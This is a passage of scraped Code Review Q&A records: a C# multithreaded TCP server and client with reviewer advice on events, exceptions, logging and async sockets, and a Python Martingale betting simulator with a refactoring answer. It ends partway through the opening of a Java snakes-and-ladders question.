"body": "This version? I haven't actually tested so I make no guarantees but the version that I wrote up took the execution to ~1.5 seconds from ~10 minutes, an insane improvement. Which ultimately brought it into the same ballpark as the javascript implementation."
}
],
"meta_data": {
"CommentCount": "3",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-23T19:52:45.687",
"Id": "249767",
"ParentId": "249655",
"Score": "1"
}
}
] |
{
"AcceptedAnswerId": "249767",
"CommentCount": "3",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-22T00:04:24.840",
"Id": "249655",
"Score": "1",
"Tags": [
"python",
"javascript",
"performance",
"python-3.x"
],
"Title": "Speed Efficiency of Decompression Algorithm"
}
|
249655
|
<p>I created a TCP Server and Client and I really would like to know if its any good in regards of performance and code quality / safety. I hightlight the server and client class here. If you need more insight in the Helper classes I could share them as well. One thing I know is creating threads for each client is not really good and I would like to know at what number of sockets connected it really makes a difference.</p>
<p>TCPServer.cs</p>
<pre><code>/// <summary>
/// Multithreaded TCP Server
/// </summary>
public class TCPServer : TCPBase {
/// <summary>
/// Max Package length, default 100MB
/// </summary>
public static int MaxPackageLength { get; set; } = 107374182;
/// <summary>
/// List of all clients currently connected to the server
/// </summary>
public List<TCPServerClient> ClientsList { get; protected set; } = new List<TCPServerClient>();
/// <summary>
/// Backlog to use, only change before start server
/// </summary>
public int Backlog { get; set; } = 500;
/// <summary>
/// Size of the uid of a client
/// </summary>
public uint UIDLength { get; set; } = 12;
/// <summary>
/// Whether clients need to make a initial handshake
/// </summary>
public bool RequireHandshake { get; set; } = true;
/// <summary>
/// Is logging enabled
/// </summary>
public bool Logging { get; set; } = true;
/// <summary>
/// Whether pinging is enabled
/// </summary>
public bool Pinging { get; set; } = true;
/// <summary>
/// Thread to handle management such as kick clients with no handshake
/// </summary>
public Thread ManagementThread { get; private set; }
/// <summary>
/// Thread to handle pinging and rtt
/// </summary>
public Thread PingThread { get; private set; }
/// <summary>
/// Management sleep time in ms
/// </summary>
public int ManagementSleep { get; set; } = 20000;
/// <summary>
/// Ping sleep time in ms
/// </summary>
public int PingSleep { get; set; } = 5000;
/// <summary>
/// Time span until clients are kicked without handshake
/// </summary>
public TimeSpan HandshakeTimeout { get; set; } = new TimeSpan(0, 0, 40);
/// <summary>
/// Dictionary containing all clients identified by their uid
/// </summary>
public Dictionary<string, TCPServerClient> ClientsDict { get; protected set; } = new Dictionary<string, TCPServerClient>();
/// <summary>
/// Message Event Handler
/// </summary>
/// <param name="client"></param>
/// <param name="message"></param>
public delegate void MessageEventHandler(TCPServerClient client, TCPMessage message);
/// <summary>
/// Message Event, called if a client sent a message
/// </summary>
public event MessageEventHandler OnMessage;
/// <summary>
/// Connected Event Handler
/// </summary>
/// <param name="client"></param>
public delegate void ConnectedEventHandler(TCPServerClient client);
/// <summary>
/// Connected Event, called if a new client is successfully connected
/// </summary>
public event ConnectedEventHandler OnConnected;
/// <summary>
/// Disconnected Event Handler
/// </summary>
/// <param name="client"></param>
public delegate void DisconnectedEventHandler(TCPServerClient client);
/// <summary>
/// Disconnected Event, called if a client is disconnected
/// </summary>
public event DisconnectedEventHandler OnDisconnected;
/// <summary>
/// No Handshaked Event Handler
/// </summary>
/// <param name="client"></param>
public delegate void NoHandshakeEventHandler(TCPServerClient client);
/// <summary>
/// No Handshake Event, called if client fails to provide correct init package
/// </summary>
public event NoHandshakeEventHandler OnNoHandshake;
/// <summary>
/// Timeout Event Handler
/// </summary>
/// <param name="client"></param>
public delegate void TimeoutEventHandler(TCPServerClient client);
/// <summary>
/// Timeout Event, called if client is timed out
/// </summary>
public event TimeoutEventHandler OnTimeout;
/// <summary>
/// Kick Event Handler
/// </summary>
/// <param name="client"></param>
public delegate void KickEventHandler(TCPServerClient client);
/// <summary>
/// Kick Event, called if client was kicked
/// </summary>
public event KickEventHandler OnKick;
/// <summary>
/// Handshake Event Handler
/// </summary>
/// <param name="client"></param>
public delegate void HandshakeHandler(TCPServerClient client);
/// <summary>
/// Handshake Event
/// </summary>
public event HandshakeHandler OnHandshake;
/// <summary>
/// Default constructor, default uses ipv4 address
/// </summary>
/// <param name="port"></param>
/// <param name="ssl"></param>
public TCPServer(ushort port = 27789, X509Certificate2 ssl = null, IPAddress address = null) {
if (Logging)
Logger.Write("REGION", "TCP Server Constructor");
SSL = ssl;
Port = port;
if (Logging) {
Logger.Write("INIT", "Setting Port: " + Port);
Logger.Write("INIT", "Setting SSL: " + SSL);
}
if (address == null) {
var host = Dns.GetHostEntry(Dns.GetHostName());
foreach (IPAddress adr in host.AddressList) {
if (adr.AddressFamily == AddressFamily.InterNetwork) {
Address = adr;
break;
}
}
if (Address == null) {
Address = host.AddressList[0];
}
} else {
Address = address;
}
if (Logging) {
Logger.Write("INIT", "Using Address: " + Enum.GetName(typeof(AddressFamily), Address.AddressFamily) + "//" + Address.ToString());
}
Socket = new Socket(AddressFamily.InterNetworkV6, SocketType.Stream, ProtocolType.Tcp);
Socket.SetSocketOption(SocketOptionLevel.IPv6, SocketOptionName.IPv6Only, false);
Socket.Bind(new IPEndPoint(Address, Port));
Running = false;
}
/// <summary>
/// Kicks user
/// </summary>
/// <param name="client"></param>
public void Kick(TCPServerClient client) {
RemoveClient(client, TCPDisconnectType.Kick);
}
/// <summary>
/// Start the server
/// </summary>
/// <returns></returns>
public bool Start() {
if (Logging) {
Logger.Write("REGION", "Method [Start]");
}
if ((ListenThread == null || !ListenThread.IsAlive) && !Running) {
if (Logging) {
Logger.Write("SUCCESS", "Starting server");
}
ListenThread = new Thread(() => Listen());
ManagementThread = new Thread(Management);
PingThread = new Thread(Ping);
Running = true;
ListenThread.Start();
ManagementThread.Start();
PingThread.Start();
return true;
}
if (Logging) {
Logger.Write("FAILED", "Starting server");
}
return false;
}
/// <summary>
/// Stop the server
/// </summary>
public void Stop() {
if (Logging) {
Logger.Write("REGION", "Method [Stop]");
}
if (Logging) {
Logger.Write("INFO", "Stopping server");
}
Running = false;
lock (ClientsList)
lock(ClientsDict) {
for(int e = ClientsList.Count - 1; e >= 0; e--) {
TCPServerClient client = ClientsList[e];
RemoveClient(client, TCPDisconnectType.Disconnect, e);
}
}
try {
Socket.Shutdown(SocketShutdown.Both);
Socket.Close();
} catch(Exception er) {
}
ManagementThread.Join();
ListenThread.Join();
ListenThread = new Thread(() => Listen());
ManagementThread = new Thread(Management);
Socket = new Socket(AddressFamily.InterNetworkV6, SocketType.Stream, ProtocolType.Tcp);
Socket.SetSocketOption(SocketOptionLevel.IPv6, SocketOptionName.IPv6Only, false);
Socket.Bind(new IPEndPoint(Address, Port));
if (Logging) {
Logger.Write("INFO", "Stopped server");
}
}
/// <summary>
/// Removes a client from the server
/// </summary>
/// <param name="client"></param>
/// <param name="type"></param>
public void RemoveClient(TCPServerClient client, TCPDisconnectType type = TCPDisconnectType.Disconnect, int pos = -1) {
if (Logging) {
Logger.Write("REGION", "Method [RemoveClient]");
}
if (type == TCPDisconnectType.NoHandshake) {
if (Logging) {
Logger.Write("INFO", "Client no handshake: " + client.UID);
}
OnNoHandshake?.Invoke(client);
} else if (type == TCPDisconnectType.Disconnect) {
if (Logging) {
Logger.Write("INFO", "Client disconnect: " + client.UID);
}
OnDisconnected?.Invoke(client);
} else if (type == TCPDisconnectType.Timeout) {
if (Logging) {
Logger.Write("INFO", "Client timeout: " + client.UID);
}
OnTimeout?.Invoke(client);
} else if (type == TCPDisconnectType.Kick) {
if (Logging) {
Logger.Write("INFO", "Client kick: " + client.UID);
}
OnKick?.Invoke(client);
}
lock (ClientsDict) ClientsDict.Remove(client.UID);
lock (ClientsList) {
if(pos >= 0) {
ClientsList.RemoveAt(pos);
} else {
for (int e = ClientsList.Count - 1; e >= 0; e--) {
if (ClientsList[e].UID == client.UID) {
if (Logging) {
Logger.Write("INFO", "Client found in ClientsList: " + client.UID);
}
ClientsList.RemoveAt(e);
break;
}
}
}
}
try {
client.Socket.Shutdown(SocketShutdown.Both);
client.Socket.Close();
} catch (Exception e) {
if (Logging) {
Logger.Write("FAILED", "Socket shutdown/close", e);
}
}
}
protected void Ping() {
while(Running && Pinging) {
Thread.Sleep(PingSleep);
lock(ClientsList) {
lock(ClientsDict) {
for (int e = ClientsList.Count - 1; e >= 0; e--) {
TCPServerClient client = ClientsList[e];
try {
using (IOStream stream = new IOStream()) {
stream.WriteDouble(client.RTT);
stream.WriteString(DateTime.UtcNow.ToString("O"));
byte[] arr = stream.ToArray();
client.Send(new TCPMessage() {
Code = TCPMessageCode.Ping,
Content = arr
});
}
} catch (Exception er) {
RemoveClient(client, TCPDisconnectType.Timeout);
}
}
}
}
}
}
/// <summary>
/// Management to handle automated kicks etc
/// </summary>
protected void Management() {
while (Running) {
Thread.Sleep(ManagementSleep);
lock (ClientsList) {
lock (ClientsDict) {
for (int e = ClientsList.Count - 1; e >= 0; e--) {
TCPServerClient c = ClientsList[e];
if ((DateTime.Now - c.Joined) > HandshakeTimeout
&& RequireHandshake && !c.DoneHandshake) {
RemoveClient(c, TCPDisconnectType.NoHandshake);
}
}
}
}
}
}
/// <summary>
/// Listen for new connections
/// </summary>
protected void Listen() {
if (Logging) {
Logger.Write("REGION", "Method [Listen]");
}
Socket.Listen(Backlog);
if (Logging) {
Logger.Write("INFO", "Start listening for clients");
}
while (Running) {
Socket socket = Socket.Accept();
if (Logging) {
Logger.Write("INFO", "New socket connected");
}
TCPServerClient client = new TCPServerClient(
socket, RandomGen.GenRandomUID(ClientsDict, UIDLength));
client.Joined = DateTime.Now;
Thread clientThread = new Thread(() => ListenClient(client));
client.Thread = clientThread;
clientThread.Start();
if (Logging) {
Logger.Write("INFO", "Created client and started thread");
}
}
}
/// <summary>
/// Listen for new messages of individual clients
/// </summary>
/// <param name="client"></param>
protected void ListenClient(TCPServerClient client) {
if (Logging) {
Logger.Write("REGION", "Method [ListenClient]");
}
using (Stream ns = GetStream(client)) {
client.Stream = ns;
client.Writer = new TCPWriter(ns);
client.Reader = new TCPReader(ns);
if (Logging) {
Logger.Write("INFO", "Created stream, writer and reader for client: " + client.UID);
}
lock (ClientsList) ClientsList.Add(client);
lock(ClientsDict) ClientsDict.Add(client.UID, client);
OnConnected?.Invoke(client);
if (RequireHandshake) {
TCPMessage message = client.Reader.Read(client);
if (message == null || message.Code != TCPMessageCode.Init
|| message.Content.Length > 10) {
RemoveClient(client, TCPDisconnectType.NoHandshake);
return;
}
if (Logging) {
Logger.Write("SUCCESS", "Handshake: " + client.UID);
}
client.DoneHandshake = true;
client.Send(new TCPMessage() {
Code = TCPMessageCode.Init,
Content = new byte[] { 0, 1, 0 }
});
OnHandshake?.Invoke(client);
}
while (Running && ClientsDict.ContainsKey(client.UID)) {
TCPMessage message = client.Reader.Read(client);
if(message == null) {
RemoveClient(client, TCPDisconnectType.Timeout);
return;
}
if (Logging) {
Logger.Write("INFO", "New message " + Enum.GetName(typeof(TCPMessageCode), message.Code) + " from user: " + client.UID);
}
if (message.Code == TCPMessageCode.Close) {
RemoveClient(client, TCPDisconnectType.Disconnect);
}
if(message.Code == TCPMessageCode.Pong) {
HandlePong(message);
continue;
}
if(message.Code == TCPMessageCode.Message)
OnMessage?.Invoke(client, message);
}
}
}
/// <summary>
/// Handle pong and rtt
/// </summary>
/// <param name="message"></param>
protected void HandlePong(TCPMessage message) {
try {
string strDate = Encoding.UTF8.GetString(message.Content);
DateTime time = DateTime.Parse(strDate, CultureInfo.InvariantCulture, DateTimeStyles.RoundtripKind);
message.Client.RTT = ((DateTime.UtcNow.Ticks - time.Ticks) / 10000);
} catch(Exception er) {
if (Logging) {
Logger.Write("FAILED", "Socket RTT failed", er);
}
}
}
/// <summary>
/// Get appropiate stream of socket
/// </summary>
/// <param name="client"></param>
/// <returns></returns>
protected Stream GetStream(TCPServerClient client) {
Stream stream = new NetworkStream(client.Socket);
if (SSL == null) {
return stream;
}
try {
SslStream sslStream = new SslStream(stream, false);
var task = sslStream.AuthenticateAsServerAsync(SSL, false, SSLProtocol, true);
task.Start();
task.Wait();
return sslStream;
} catch (Exception e) {
return null;
}
}
}
</code></pre>
<p>TCPClient.cs</p>
<pre><code>/// <summary>
/// TCPClient used to conenct to and communicate with tcp server
/// </summary>
public class TCPClient : TCPBase {
/// <summary>
/// Is logging enabled
/// </summary>
public bool Logging { get; set; } = true;
/// <summary>
/// Time until next reconnect try in ms
/// </summary>
public int ReconnectSleep { get; set; } = 2000;
/// <summary>
/// Whether or not a handshake is required
/// </summary>
public bool RequireHandshake { get; set; } = true;
/// <summary>
/// Enabled raw communcation, only use if you know what you are doing
/// </summary>
public bool RawSocket { get; set; } = false;
/// <summary>
/// Stream of the socket
/// </summary>
public Stream Stream { get; private set; }
/// <summary>
/// Writer to the stream
/// </summary>
public TCPWriter Writer { get; private set; }
/// <summary>
/// Reader to the stream
/// </summary>
public TCPReader Reader { get; private set; }
/// <summary>
/// RTT of connection
/// </summary>
public double RTT { get; private set; }
/// <summary>
/// Message Event Handler
/// </summary>
/// <param name="message"></param>
public delegate void MessageEventHandler(TCPMessage message);
/// <summary>
/// Message Event, called if the server sent a message
/// </summary>
public event MessageEventHandler OnMessage;
/// <summary>
/// Connected Event Handler
/// </summary>
/// <param name="client"></param>
public delegate void ConnectedEventHandler();
/// <summary>
/// Connected Event, called if the client connected to the server
/// </summary>
public event ConnectedEventHandler OnConnected;
/// <summary>
/// Handshake Event Handler
/// </summary>
/// <param name="client"></param>
public delegate void HandshakeEventHandler();
/// <summary>
/// Handshake Event, called if the client successfully done the handshake
/// </summary>
public event HandshakeEventHandler OnHandshake;
/// <summary>
/// Disconnected Event Handler
/// </summary>
public delegate void DisconnectedEventHandler();
/// <summary>
/// Disconnected Event, called if client was disconnected
/// </summary>
public event DisconnectedEventHandler OnDisconnected;
/// <summary>
/// Default constructor
/// </summary>
/// <param name="address"></param>
/// <param name="port"></param>
/// <param name="ssl"></param>
public TCPClient(string address = "localhost", ushort port = 27789, bool logging = true) {
Logging = logging;
if(Logging) {
Logger.Write("REGION", "TCP Client Constructor");
}
IPAddress adr = null;
if(!IPAddress.TryParse(address, out adr)) {
throw new Exception("IPAddress not recognizable");
}
Address = adr;
AddressString = address;
Port = port;
if (Logging) {
Logger.Write("INIT", "Setting Port: " + Port);
Logger.Write("INIT", "Setting SSL: " + SSL);
Logger.Write("INIT", "Using Address: " + Enum.GetName(typeof(AddressFamily), Address.AddressFamily) + "//" + Address.ToString());
}
Running = false;
InitHandlers();
}
/// <summary>
/// Sends a message to the server
/// </summary>
/// <param name="message"></param>
public void Send(TCPMessage message) {
Writer.Write(message);
}
/// <summary>
/// Listen for incomming messages
/// </summary>
protected void Listen() {
using(Stream = GetStream()) {
Writer = new TCPWriter(Stream);
Reader = new TCPReader(Stream);
if (Logging) {
Logger.Write("SUCCESS", "Connected to the server");
}
OnConnected?.Invoke();
if (RequireHandshake) {
byte[] rand = new byte[10];
RandomGen.Random.NextBytes(rand);
TCPMessage init = new TCPMessage() {
Code = TCPMessageCode.Init,
Content = rand
};
if (Logging) {
Logger.Write("INFO", "Sending handshake");
}
Send(init);
}
while (Running) {
TCPMessage message = Reader.Read(Socket);
if(message == null) {
Running = false;
OnDisconnected?.Invoke();
continue;
}
if (message.Code == TCPMessageCode.Init) {
if (Logging) {
Logger.Write("SUCCESS", "Successful handshake");
}
OnHandshake?.Invoke();
} else if (message.Code == TCPMessageCode.Ping) {
OnPingMessage(message);
} else if (message.Code == TCPMessageCode.Message) {
OnMessage?.Invoke(message);
}
}
}
}
protected void OnPingMessage(TCPMessage message) {
using (IOStream stream = new IOStream(message.Content)) {
double rtt = 0;
bool error = stream.ReadDouble(out rtt);
string dateStr = null;
error = stream.ReadString(out dateStr);
RTT = rtt;
try {
if(error) {
return;
}
DateTime sent = DateTime.Parse(dateStr, CultureInfo.InvariantCulture, DateTimeStyles.RoundtripKind);
Send(new TCPMessage() {
Code = TCPMessageCode.Pong,
Content = Encoding.UTF8.GetBytes(sent.ToString("O"))
});
} catch(Exception er) {
Console.WriteLine("Error");
}
}
}
/// <summary>
/// Initialize the handlers
/// </summary>
protected void InitHandlers() {
OnMessage += (message) => {
};
}
/// <summary>
/// Get appropiate stream of socket
/// </summary>
/// <param name="client"></param>
/// <returns></returns>
protected Stream GetStream() {
Stream stream = new NetworkStream(Socket);
if (SSL == null) {
return stream;
}
try {
SslStream sslStream = new SslStream(stream, false);
sslStream.AuthenticateAsClient(Address.ToString());
return sslStream;
} catch (Exception e) {
return null;
}
}
/// <summary>
/// Init new Socket instance
/// </summary>
protected void InitSocket() {
Socket = new Socket(AddressFamily.InterNetworkV6, SocketType.Stream, ProtocolType.Tcp);
Socket.SetSocketOption(SocketOptionLevel.IPv6, SocketOptionName.IPv6Only, false);
}
/// <summary>
/// Disconnectes from Server
/// </summary>
public void Disconnect() {
if(Running) {
Send(new TCPMessage() {
Code = TCPMessageCode.Close,
Content = new byte[2] { 0, 1 }
});
try {
Socket.Shutdown(SocketShutdown.Both);
Socket.Disconnect(true);
} catch(Exception er) {
}
}
}
/// <summary>
/// Connect to server
/// </summary>
public void Connect() {
if (Logging) {
Logger.Write("REGION", "Method [Connect]");
}
bool connected = false;
while(!connected) {
if(Logging) {
Logger.Write("INFO", "Trying to connect...");
}
InitSocket();
try {
Socket.Connect(new IPEndPoint(Address, Port));
Running = connected = true;
ListenThread = new Thread(Listen);
ListenThread.Start();
} catch (Exception e) {
if (Logging) {
Logger.Write("FAILED", "Failed to connect");
}
Running = connected = false;
if (Logging) {
Logger.Write("INFO", "Sleep for " + ReconnectSleep + "ms");
}
Thread.Sleep(ReconnectSleep);
}
}
}
}
</code></pre>
<p>Example Usage</p>
<pre><code>class Program {
static void Main(string[] args) {
new Thread(() => {
Random rand = new Random();
TCPServer server = new TCPServer(54545, null, IPAddress.Any);
server.Start();
server.OnMessage += (cl, mess) => {
using (IOStream stream = new IOStream(mess.Content)) {
float fl;
stream.ReadFloat(out fl);
Console.WriteLine("Received from Client: " + fl);
}
using (IOStream stream = new IOStream()) {
float numb = (float)rand.NextDouble() * 999;
Console.WriteLine("Server sending number: " + numb);
stream.WriteFloat(numb);
cl.Send(new TCPMessage() {
Content = stream.ToArray()
});
}
};
}).Start();
new Thread(() => {
Random rand = new Random();
TCPClient client = new TCPClient("127.0.0.1", 54545);
client.Connect();
client.OnHandshake += () => {
using (IOStream stream = new IOStream()) {
float numb = (float)rand.NextDouble() * 999;
Console.WriteLine("Client sending number: " + numb);
stream.WriteFloat(numb);
client.Send(new TCPMessage() {
Content = stream.ToArray()
});
}
};
client.OnMessage += (mes) => {
using (IOStream stream = new IOStream(mes.Content)) {
float fl;
stream.ReadFloat(out fl);
Console.WriteLine("Received from Server: " + fl);
}
using (IOStream stream = new IOStream()) {
float numb = (float)rand.NextDouble() * 999;
Console.WriteLine("Client sending number: " + numb);
stream.WriteFloat(numb);
client.Send(new TCPMessage() {
Content = stream.ToArray()
});
}
};
}).Start();
}
}
</code></pre>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-23T17:27:33.537",
"Id": "489718",
"Score": "0",
"body": "Few tips: 1) I would like to ecapsulate the `Logger` calls with severity `enum` and check of `Logging` inside. 2) [TAP](https://docs.microsoft.com/en-us/dotnet/csharp/async) `async/await` and `Task` is preferrable instead manual managing threads."
}
] |
[
{
"body": "<p><strong>Properties</strong></p>\n<p>Seems too many properties public and if they need to be public should use the readonly interface. For example in the tcpserver there is a property called ClientsList that is a List. IT would seem abnormal that an outside class could clear the list or add/remove clients from the list. If the property needs to be public returning back IReadOnlyList or IEnumerable would be a better more protective manner. Same with ClientsDict that seems that is an internal working and shouldn't be a public property and more likely a private readonly field.</p>\n<p><strong>Events</strong></p>\n<p>Instead of making delegates should follow the standard event pattern of using EventHandler<> and passing in EventArgs. While you will need to make more EventArgs classes it will be easier for others coming onto your project or if wanting to add other libraries.</p>\n<p><strong>Exceptions</strong></p>\n<p>GetStream is just eating exceptions and returning null but the code doesn't look like it's specifically looking for null being bad. Also should only catch exceptions you can handle and not the generic Exception class.</p>\n<p><strong>Logging</strong></p>\n<p>I would recommend to use the Microsoft.Extensions.Logging.Abstractions for logging. Lots of logging application already adapt to the MS ILogger interface. Then can log different types. For example in catching an exception call the logger.LogError with the exception. Then having other logging for debugging or info. Then can configure what level you want to log. For example in dev mode probably want to log debug or higher but when release warning or higher.</p>\n<p><strong>TPL</strong></p>\n<p>MS has an Async Socket <a href=\"https://docs.microsoft.com/en-us/dotnet/framework/network-programming/asynchronous-server-socket-example\" rel=\"nofollow noreferrer\">Server</a> and <a href=\"https://docs.microsoft.com/en-us/dotnet/framework/network-programming/asynchronous-client-socket-example\" rel=\"nofollow noreferrer\">Client</a> those examples are using the old APM and now can use the TPL. For example can now just do <code>var client = await socket.AcceptAsync()</code> Instead of the BeginAccept and EndAccept calls.</p>\n<p>For pinging on a timer I would either use Task.Delay or System.Threading.Timer. The more you can offload to the TPL the better.</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-24T13:30:28.297",
"Id": "249790",
"ParentId": "249657",
"Score": "1"
}
}
] |
{
"AcceptedAnswerId": null,
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-22T00:40:46.513",
"Id": "249657",
"Score": "4",
"Tags": [
"c#",
"multithreading",
"server",
"tcp",
"client"
],
"Title": "TCP Multithreaded Server and Client C#"
}
|
249657
|
<p>This is a second shot at creating a Martingale betting simulator. The original code needed such heavy refactoring that I just started from scratch.</p>
<p>Script simulates the Martingale betting strategy of betting a fixed amount until a loss occurs, at which point the bet is doubled to make up for the loss. This continues until a win occurs, after a win the bet is reset to the original bet value. I set the odds to mimic Blackjack (49% chance of a win). For simplicity, the amount won or lost in a round is equal to the bet. The simulation ends when the specified number of rounds has elapsed, the size of the next bet is larger than the current available funds, the available funds reach 0, or the goal profit is met.</p>
<p>I'm brand new to Python and coding in general, so any feedback would be appreciated.</p>
<pre><code>import random
def main(rounds=10, bet=25, goal_profit=1000, each=False, end_script_prt=True):
"""Runs a simulation of the Martingale betting strategy over a specified number of rounds.
each = True will print a summary of each round's results. end_script_prt = True will
print a summary of the game's results"""
original_bet = bet
current_bet = bet
starting_funds = 5000
current_profit = 0
current_funds = starting_funds
round_n = 0
wins = 0
losses = 0
while current_profit < goal_profit\
and round_n < rounds\
and current_funds > 0\
and current_funds > current_bet:
round_n += 1
rng_v = rng()
current_funds += change_current_funds(current_bet, rng_v)
current_profit = current_profits(current_funds, starting_funds)
if winloss_generator(rng_v) == 'win':
wins += 1
elif winloss_generator(rng_v) == 'loss':
losses += 1
if each:
print('ROUND:', round_n, 'of', rounds)
print('BET:', current_bet)
print('OUTCOME:', winloss_generator(rng_v).capitalize())
print('WINS/LOSSES:', wins, 'Wins', losses, 'losses')
print('CURRENT FUNDS:', current_funds)
print('CURRENT PROFIT:', current_profit)
print()
current_bet = change_bet(original_bet, current_bet, rng_v)
print()
if end_script_prt:
end_script(round_n, wins, losses, starting_funds, current_funds, goal_profit, current_profit)
return change_iterated_winloss(current_profit, goal_profit)
def rng():
"""Returns random number"""
return random.random()
def winloss_generator(rng_v):
"""Returns win/loss condition"""
if rng_v <= .49:
return 'win'
if rng_v > .49:
return 'loss'
def change_current_funds(current_bet, rng_v):
"""Returns change in funds resulting from round outcome"""
if winloss_generator(rng_v) == 'win':
return current_bet
if winloss_generator(rng_v) == 'loss':
return current_bet * -1
def change_bet(original_bet, current_bet, rng_v):
"""Returns updated bet value
If outcome is a win, bet is reset to original value. If outcome is a loss bet is doubled"""
if winloss_generator(rng_v) == 'win':
return original_bet
if winloss_generator(rng_v) == 'loss':
return current_bet * 2
def current_profits(current_funds, starting_funds):
"""Returns current profit"""
return current_funds - starting_funds
def end_script(round_n, wins, losses, starting_funds, current_funds, goal_profit, current_profit):
"""Prints final outcome of the game and summary of the results"""
print('*************************')
if current_profit >= goal_profit:
print('YOU WIN!')
else:
print('YOU LOSE')
print('TOTAL ROUNDS:', round_n)
print('WIN/LOSS RECORD:', wins, 'Wins', losses, 'Losses')
print('STARTING FUNDS:', starting_funds)
print('ENDING FUNDS: ', current_funds)
print('GOAL PROFIT:', goal_profit)
print('ENDING PROFIT:', current_profit)
def change_iterated_winloss(current_profit, goal_profit):
"""Returns game's win/loss outcome as a string"""
if current_profit >= goal_profit:
w_l = 'w'
return w_l
else:
w_l = 'l'
return w_l
def iterated_winloss_count(iterations, each=False):
"""Returns a summary of the total win/loss record across game iterations. each = True will
print each game result individually"""
total_wins = 0
total_losses = 0
for x in range(iterations):
game_outcome = main(1000, 25, 5000, False, False)
if game_outcome == 'w':
total_wins += 1
if each:
print('WIN!')
if game_outcome == 'l':
total_losses += 1
if each:
print('LOSS')
print()
print('WINS/LOSSES OVER', iterations, 'ITERATIONS:', total_wins, 'Wins', total_losses, 'Losses')
# Single Game
if True:
main(1000, 25, 5000, True, True)
# Iterated Games
if False:
iterated_winloss_count(1000, False)
</code></pre>
|
[] |
[
{
"body": "<p>You have a few functions with an unusual conditional structure. I might be\nmisunderstanding something, but I assume the player either wins or loses. In\nthat light, there's no purpose to the second conditional check: just use\n<code>else</code>.</p>\n<pre><code>def winloss_generator(rng_v):\n if rng_v <= .49: # win\n return 'win'\n if rng_v > .49: # else loss\n return 'loss'\n</code></pre>\n<p>It's not the most common problem among people learning, but you've\nsubstantially over-factored the calculations, making a simple thing hard\nto understand. A random number is generated, and it will determine win/loss (but\nwe don't remember the outcome); then that\nrandom number weaves its way through multiple steps, each\nof them calling <code>winloss_generator(RANDOM_NUM)</code>, which tells us (again) whether\nit's a win or loss. Instead, directly in <code>main()</code>, just determine\nthe outcome immediately.</p>\n<pre><code>won = (random.random() <= .49)\n</code></pre>\n<p>With that variable remembered, the rest of the calculations are easy to\nunderstand all in one place. When computations are fairly simple, closely\nrelated, and easy to follow as a group, keep them together as a general rule:</p>\n<pre><code>current_funds += current_bet * (1 if won else -1)\ncurrent_profit = current_funds - starting_funds\nwins += int(won)\nlosses += int(not won)\n...\ncurrent_bet = original_bet if won else 2 * current_bet\n</code></pre>\n<p>In addition to over-factoring the algorithm, you under-factored the code from\nthe perspective of side effects (printing being the side effect here). The\ngeneral idea is to corral the side effects in the program's thin\nouter layer. The rest of the code can then operate purely in the realm of\ndata-returning functions (that's the hope, at least; reality does pose challenges).\nHere's one way your code might be refactored to impose that\nseparation.</p>\n<pre><code>from collections import namedtuple\n\n# A simple data object to store all relevant details\n# for one round of play.\nRound = namedtuple('Round', 'round_n won funds profit wins losses bet')\n\n# Entry point.\ndef main():\n\n # Run the rounds and get data back. No printing yet.\n rounds = list(martingale(200, 25, 5000))\n\n # Analyze the results as much as we like.\n for r in rounds:\n ...\n\n # Report the results. Printing OK here.\n for r in rounds:\n print(...)\n\n# The algorithmic code of the betting strategy.\n# It sticks fairly close to your original code, absent side effects.\ndef martingale(rounds=10, bet=25, goal_profit=1000):\n funds = 5000\n orig_bet = bet\n orig_funds = funds\n profit = 0\n round_n = 0\n wins = 0\n losses = 0\n while profit < goal_profit and round_n < rounds and funds > bet:\n round_n += 1\n won = (random.random() <= .49)\n funds += bet * (1 if won else -1)\n profit = funds - orig_funds\n wins += int(won)\n losses += int(not won)\n yield Round(round_n, won, funds, profit, wins, losses, bet)\n bet = orig_bet if won else 2 * bet\n</code></pre>\n<p>That design is better because you can do more things with it. Imagine adding\nsupport for command-line arguments to define the input parameters, plus various\noptions for different types of analysis or reporting. You can add all of that\nwithout altering the algorithmic code in <code>martingale()</code>. It's also feasible now\nto write another function implementing a different betting strategy: it too\nwould return <code>rounds</code>, and you could analyze them with the same code used on\n<code>martingale()</code>. Finally, another thing you might want is to be able to test a function\nlike this: either in an automated fashion or ad hoc in debugging sessions.\nBoth are easier if you can call the\nfunction and get back an answer-as-data rather than a pile of printed text. Save the\nprinting for later: first get the data right.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-22T13:06:39.233",
"Id": "489548",
"Score": "0",
"body": "Thank you very much! I appreciate the feedback"
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-22T06:57:17.413",
"Id": "249666",
"ParentId": "249658",
"Score": "3"
}
}
] |
{
"AcceptedAnswerId": null,
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-22T00:55:06.503",
"Id": "249658",
"Score": "2",
"Tags": [
"python",
"python-3.x"
],
"Title": "Martingale Betting Simulator 2.0"
}
|
249658
|
<p>I created a pretty straight forward snakes and ladders implementation in Java just for the heck of it.
The program can be summed up as-</p>
<ol>
<li><p>Object of Board contains an array of Type Tile to represent the actual board.</p>
</li>
<li><p>Object of type Tile contains an Enum data member to identify if its a regular tile or a snake/ ladder.</p>
<p>Also contains a destination tile to identify the snake/ ladder destination.</p>
</li>
<li><p>Player object contains the player name and player position.</p>
</li>
<li><p>On initialization, through randoms, I generate random tiles to be snakes and ladders. Then the user is asked to enter no. of players, and then keep rolling the dice till a player reaches the 100th tile.</p>
</li>
</ol>
<h2>The code:</h2>
<h3>Class <code>BoardImpl</code>:</h3>
<pre><code>import java.security.SecureRandom;
import java.util.ArrayList;
import java.util.HashSet;
import java.util.List;
import java.util.Set;
public class BoardImpl implements Board{
Tile[] board = new Tile[101]; //A array to represent the 'board'
List<Player> players = new ArrayList<>();
SecureRandom secureRandom = new SecureRandom();
Set<Integer> occupiedPositions = new HashSet<>();
public void setPlayers(List<Player> players) {
this.players = players;
}
public Tile[] getBoard() {
return board;
}
public List<Player> getPlayers() {
return players;
}
public void addPlayers(Player player) {
this.players.add(player);
}
@Override
public void initialize() {
